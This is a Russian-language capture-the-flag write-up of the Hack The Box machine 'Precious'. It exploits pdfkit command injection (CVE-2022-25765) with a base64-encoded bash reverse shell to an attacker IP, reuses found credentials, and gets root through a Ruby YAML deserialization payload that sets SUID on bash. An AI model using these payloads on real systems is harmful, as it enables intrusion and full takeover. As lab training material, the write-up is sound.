Вступление
Машина хорошо раскрывает последствия эксплуатации критической уязвимости, а именно инъекции комманд в pdfkit. И в добавок это заканчивается интересным и уникальным горизонтальным повышением привелегий.
Разведка
Самым первым делом всегда стоит просканировать машину на открытые порты с помощью Nmap, но я предпочитаю threader3000(clickable link)
Оно быстрее сканирует порты, и после отправляет открытые порты в детальный Nmap скан (-sC для дефолтных скриптов и -sV для энумерации версий)
Детальный скан Nmap:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
И мы видим 2 открытых порта, в приоритете будет 80.
HTTP Server:
Нас редиректит на precious.htb
, тогда добавим его в /etc/hosts:
# Static table lookup for hostnames.
# See hosts(5) for details.
127.0.0.1 localhost
::1 localhost
127.0.1.1 archlinux.localdomain archlinux
#THM
#HTB
10.10.11.189 precious.htb
Так-то лучше, мы видим довольно простой интерфейс для конвертации веб страниц в PDF, ну что-ж, не тыкая субдомены, директории и прочую балду по типу robots.txt, давайте сначала проверим функционал запустив простой веб сервер:
sudo python3 -m http.server 80
Заметьте, я запустил его от судо, потому что без него система откажет работать на низком(80) порту.
Мы получили наш заведомый PDF документ, ничего интересного я внутри не вижу. Может стоит посмотреть метаданные?
exiftool [PDF file]
ExifTool Version Number : 12.50
File Name : 3hf2r90s59z1pypm38vqa0ho54pwf19h.pdf
Directory : .
File Size : 19 kB
File Modification Date/Time : 2023:01:12 20:53:23+06:00
File Access Date/Time : 2023:01:12 20:53:48+06:00
File Inode Change Date/Time : 2023:01:12 20:53:40+06:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
Видите последнюю строку? Это то что нам и нужно! Запомните, встретив название техноголии и её версии, всегда стоит это дело загуглить. Первая ссылка уже ведёт на эту статью, где мы узнаем что это CVE-2022-25765
, а-ля инъекция комманд.
Здесь ты можешь узнать и научится Command Injection по подробнее:
Эксплуатация
Если говорить простыми словами, всё внутри этих грависов будет выполняться на удалённой машине, стоит попробовать закинуть reverse shell.
Но так-как это инъекция комманд, пытаться использовать сырой payload сразу же будет плохой идеей, из-за того что одна кавычка или слеш может сломать всё к чертям. Лучше всего закодировать payload.
bash -i >& /dev/tcp/10.10.14.76/9001 0>&1
Base64:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ni85MDAxIDA+JjE=
Потом, добавим декодировку и запуск:
echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ni85MDAxIDA+JjE= | base64 -d | bash
Почти готово, теперь вставим всё в сам url:
<http://10.10.14.88/?name=%20`echo> -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ni85MDAxIDA+JjE= | base64 -d | bash`
Отлично! Мы на машине!
Post-Exploitation
Reverse shell по стандарту обычно нестабилен, и его использование довольно еще та морока. Чтобы исправить эти недостатки его надо стабилизировать:
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo;fg
Потом нажимаем энтер два раза, и вуаля! Теперь ваш шелл не сбрасывается при CTRL+C, имеет историю комманд и автодополнение, разве не прекрасно?
Вертикальное Повышение Привелегий
Кроме нас, тут есть еще один обычный пользователь:
cat /etc/passwd |grep sh$
root:x:0:0:root:/root:/bin/bash
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
ruby:x:1001:1001::/home/ruby:/bin/bash
Давайте посмотрим что мы имеем в домашней директории, мне показалось интересным директория .bundle
Внутри нас ожидают реквизиты для входа за henry, как же всё просто…
Подрубаемся за henry через ssh:
ssh henry@precious.htb
И, мы получили юзера!
Горизонтальное повышение привелегий
Когда я имею пароль от юзера на машине, первым делом всегда проверяю sudo:
-bash-5-1$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Видимо, все пойдет через файл update_dependencies.rb
, давайте взгляним на него подробнее:
-bash-5.1$ ls -la /opt/update_dependencies.rb
-rwxr-xr-x 1 root root 848 Sep 25 11:02 /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
Теперь посмотри внимательно, данный скрипт использует YAML, мы можем попробовать Dynamic Code Evaluation с помощью YAML Deserialization attack.
Здесь, более подробно написано об этом:
Сначала, создадим файл dependencies.yml
в домашней директории, и вставим это:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "chmod +s /bin/bash"
method_id: :resolve
Всё внутри git_set будет запущено от рута, так что сделаем всё просто, дав bash SUID бит.
Теперь запускаем наш скрипт от sudo:
-bash-5.1$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
...
Хмм, ничего интересно, посмотрим что с /bin/bash:
-bash-5.1$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash
Отлично! Все сработало, теперь просто запустим bash!
bash -p
-p чтобы запустить шелл без сброса привелегий
И мы получаем рут.
В завершении, я хотел бы сказать что машина довольно проста и хорошо подходит для начинающих. Ничего особо специфичного, стандарт для лёгких машин HTB, а на сегодня всё, надеюсь вам понравился мой райтап!